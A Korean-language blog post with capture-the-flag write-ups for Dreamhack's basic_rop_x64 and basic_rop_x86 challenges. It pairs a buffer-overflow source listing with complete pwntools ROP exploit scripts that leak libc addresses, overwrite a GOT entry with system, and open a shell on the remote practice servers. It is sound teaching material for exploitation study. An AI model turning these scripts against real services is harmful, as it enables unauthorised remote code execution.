TIL: ROP ๐Ÿ’ช

Wargame: basic_rop_x64

Server์—์„œ ์ž‘๋™ํ•˜๋Š” binary์˜ source code๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

Vulnerability Scanning

gdb์—์„œ checksec ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋ฉด, canary์™€ PIE๋Š” disabled ์ƒํƒœ์ด๊ณ , NX๋งŒ enable๋˜์–ด์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

Code ๋‚ด์˜ read๋ฅผ ์ด์šฉํ•ด ์˜ˆ์‹œ ์ฝ”๋“œ์™€ ๋™์ผํ•œ ๋ฐฉ์‹์œผ๋กœ ROP ๊ธฐ๋ฒ•์„ ํ†ตํ•ด system("/bin/sh")๋ฌธ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

system์˜ address ๊ณ„์‚ฐํ•˜๊ธฐ

from pwn import *

#p = process('./basic_rop_x64')
p = remote("host3.dreamhack.games", 23059)

e = ELF('./basic_rop_x64')

puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']
read_got = e.got['read']
pop_rdi = 0x0000000000400883
ret = 0x00000000004005a9

payload = b"A"*(0x40 + 0x8)

# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)

p.send(payload)
print(p.recvn(0x40)) 
read = u64(p.recvn(6) + b"\x00"*2)
print("read", hex(read))

#lb = read - libc.symbols["read"]
#system = lb + libc.symbols["system"]
system = read - 0xb1ec0

p.interactive()

ROP ๊ธฐ๋ฒ•์œผ๋กœ puts(read_got)๋ฅผ ์‹คํ–‰ํ•ด read๊ฐ€ ์ €์žฅ๋œ address๋ฅผ ์ถœ๋ ฅํ•˜๊ณ , ์ด ๊ฐ’์„ ์ด์šฉํ•ด server์—์„œ ์‚ฌ์šฉ์ค‘์ธ libc์˜ version์„ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ๋‹ค. read๋งŒ query์— ๋„ฃ์–ด์คฌ์„ ๋• ์—ฌ๋Ÿฌ libc ํŒŒ์ผ๋“ค์ด ๋œฐ ์ˆ˜ ์žˆ์œผ๋‹ˆ puts์˜ address๊นŒ์ง€ ์ถœ๋ ฅํ•ด์„œ query์— ๋„ฃ์œผ๋ฉด ๋” ์ •ํ™•ํ•œ ๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด๋ฅผ ํ†ตํ•ด system๊ณผ read ์‚ฌ์ด์˜ offset์„ ํŒŒ์•…ํ•˜์—ฌ system์˜ address๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ๋‹ค.

Exploit

ํฐ ํ๋ฆ„์€ ์œ„์˜ ์˜ˆ์ œ์™€ ๊ฐ™๋‹ค. ์˜คํžˆ๋ ค canary ํš๋“ ๊ณผ์ •์ด ์—†์–ด ๋” ๊ฐ„๋‹จํ•˜๋‹ค.

  1. puts(read_got)๋ฅผ ์‹คํ–‰ํ•ด read์˜ address๋ฅผ ์–ป๋Š”๋‹ค. ์ด๋กœ๋ถ€ํ„ฐ system์˜ address๋„ ๊ณ„์‚ฐํ•œ๋‹ค.
  2. read(0, read_got, 0x10)์„ ์‹คํ–‰ํ•ด read_got๋ฅผ system์˜ address์™€ โ€œ/bin/shโ€๋กœ overwriteํ•œ๋‹ค.
  3. read(โ€/bin/shโ€)๋ฅผ ์‹คํ–‰ํ•˜๋ฉด GOT๊ฐ€ overwrite๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— system("/bin/sh")๊ฐ€ ์‹คํ–‰๋œ๋‹ค.
from pwn import *

#p = process('./basic_rop_x64')
p = remote("host3.dreamhack.games", 10061)

e = ELF('./basic_rop_x64')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']
read_got = e.got['read']
pop_rdi = 0x0000000000400883
pop_rsi_pop_r15 = 0x0000000000400881
ret = 0x00000000004005a9

payload = b"A"*(0x40 + 0x8)

# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)

# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_pop_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(read_plt)

p.send(payload)
p.recvn(0x40) # source code ๋‚ด์˜ write๋ฌธ์˜ ์ถœ๋ ฅ๊ฐ’ ๋„˜๊ธฐ๊ธฐ
read = u64(p.recvn(6) + b"\x00"*2) # read์˜ address
print("read", hex(read))

system = read - 0xb1ec0
p.send(p64(system) + b"/bin/sh\x00")

p.interactive()

Wargame: basic_rop_x86

๋ฌธ์ œ์˜ source code๋Š” basic_rop_x64์™€ ๋™์ผํ•˜์ง€๋งŒ, x86 architecture์„ ๋Œ€์ƒ์œผ๋กœ ํ•œ๋‹ค๋Š” ์ ์ด ๋‹ค๋ฅด๋‹ค. ํ’€์ด์˜ ํฐ ํ๋ฆ„ ์—ญ์‹œ ๊ฑฐ์˜ ๊ฐ™๊ธฐ ๋•Œ๋ฌธ์— x86 architecture์˜ ํŠน์„ฑ ๋•Œ๋ฌธ์— ๋‹ฌ๋ผ์ง€๋Š” ์ ๋งŒ์„ ์„œ์ˆ ํ•˜๊ฒ ๋‹ค.

cdecl

Reference: https://velog.io/@seulifer/x86-cdecl, https://doongdangdoongdangdong.tistory.com/20, https://kaspyx.tistory.com/100

cdecl์€ x86 architecture์˜ calling convention์ด๋‹ค. cdecl์—์„œ๋Š” ํ•จ์ˆ˜์˜ argument๋ฅผ caller๊ฐ€ stack์„ ํ†ตํ•ด ์ „๋‹ฌํ•˜๋ฉฐ, return ๊ฐ’์€ eax๋ฅผ ํ†ตํ•ด ๋ฐ›๋Š”๋‹ค. ๊ตฌ์ฒด์ ์ธ stack frame์˜ ๊ตฌ์กฐ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

๋”ฐ๋ผ์„œ ROP ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•  ๋• ๊ธฐ์กด์˜ ๋ฐฉ์‹๋Œ€๋กœ pop rdi; ret๊ณผ ๊ฐ™์€ code gadget์„ ์ฐพ์•„ register์— ๊ฐ’์„ ๋„ฃ์–ด์ค„ ํ•„์š”๋Š” ์—†์ง€๋งŒ, stack์— ์ง์ ‘ argument๋ฅผ ์ง‘์–ด๋„ฃ์–ด์ค˜์•ผ ํ•œ๋‹ค. ๋˜ ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•œ ์ดํ›„์—๋Š” stack์— ๋„ฃ์–ด ๋‘์—ˆ๋˜ argument์˜ ๊ฐœ์ˆ˜๋งŒํผ esp๋ฅผ ์ฆ๊ฐ€์‹œ์ผœ์ค˜์•ผ ํ•˜๋ฏ€๋กœ argument์˜ ๊ฐœ์ˆ˜๋งŒํผ pop์„ ์‹คํ–‰ํ•˜๊ณ  retํ•˜๋Š” code gadget์„ ๋‹ค์Œ function์˜ address ๋ถ€๋ถ„์— ์‚ฝ์ž…ํ•ด์•ผ ํ•œ๋‹ค. (pop์˜ operand์˜ ๊ฐ’์€ ์ค‘์š”ํ•˜์ง€ ์•Š๋‹ค.)

  • argument๊ฐ€ 3๊ฐœ์ผ ๋•Œ: pop; pop; pop; ret
  • argument๊ฐ€ 2๊ฐœ์ผ ๋•Œ: pop; pop; ret
  • argument๊ฐ€ 1๊ฐœ์ผ ๋•Œ: pop; ret
  • argument๊ฐ€ ์—†์„ ๋•Œ: ret

Exploit

32 bit machine์œผ๋กœ ๋ณ€๊ฒฝ๋˜๋ฉด์„œ ๊ณ ๋ คํ•ด์•ผ ํ•  ์ :

  • Packing์„ ํ•  ๋•Œ p64๊ฐ€ ์•„๋‹Œ p32๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•จ.
  • Payload๋ฅผ ์ž‘์„ฑํ•  ๋•Œ cdecl์„ ๊ณ ๋ คํ•˜์—ฌ pop; ret, pop; pop; pop; ret gadget์„ ์‚ฝ์ž…ํ•ด์•ผ ํ•จ.
  • write(1, read_got, 0x4)๋กœ read์˜ address๋ฅผ ๋ฐ›์•„์˜ฌ ๋•Œ 8 byte๊ฐ€ ์•„๋‹ˆ๋ผ 4 byte๋ฅผ ๋ฐ›์•„์™€์•ผ ํ•จ.
  • read_got์˜ ๋‹ค์Œ byte์— "/bin/sh"๋ฅผ ์ž…๋ ฅํ•  ๋•Œ read_got + 0x8์ด ์•„๋‹ˆ๋ผ read_got + 0x4์— ์ž…๋ ฅํ•ด์•ผ ํ•จ.
from pwn import *

#p = process('./basic_rop_x86')
p = remote("host3.dreamhack.games", 15286)
#gdb.attach(p)

e = ELF('./basic_rop_x86')

write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts'] 
pr = 0x080483d9 # pop; ret
pppr = 0x08048689 # pop; pop; pop; ret

payload = b"A"*(0x40 + 0x8)

# write(1, read_got, 0x4)
payload += p32(write_plt)
payload += p32(pppr) # pop; pop; pop; ret
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

# read(0, read_got, 0x10)
payload += p32(read_plt)
payload += p32(pppr) # pop; pop; pop; ret
payload += p32(0)
payload += p32(read_got)
payload += p32(0x10)

# read("/bin/sh") == system("/bin/sh")
payload += p32(read_plt)
payload += p32(pr)
payload += p32(read_got + 0x4)

p.send(payload)

p.recvn(0x40)
read = u32(p.recvn(4))
print ("read", hex(read))

system = read - 0x99a10
print(hex(system))
p.send(p32(system) + b"/bin/sh\x00")

p.interactive()

Leave a comment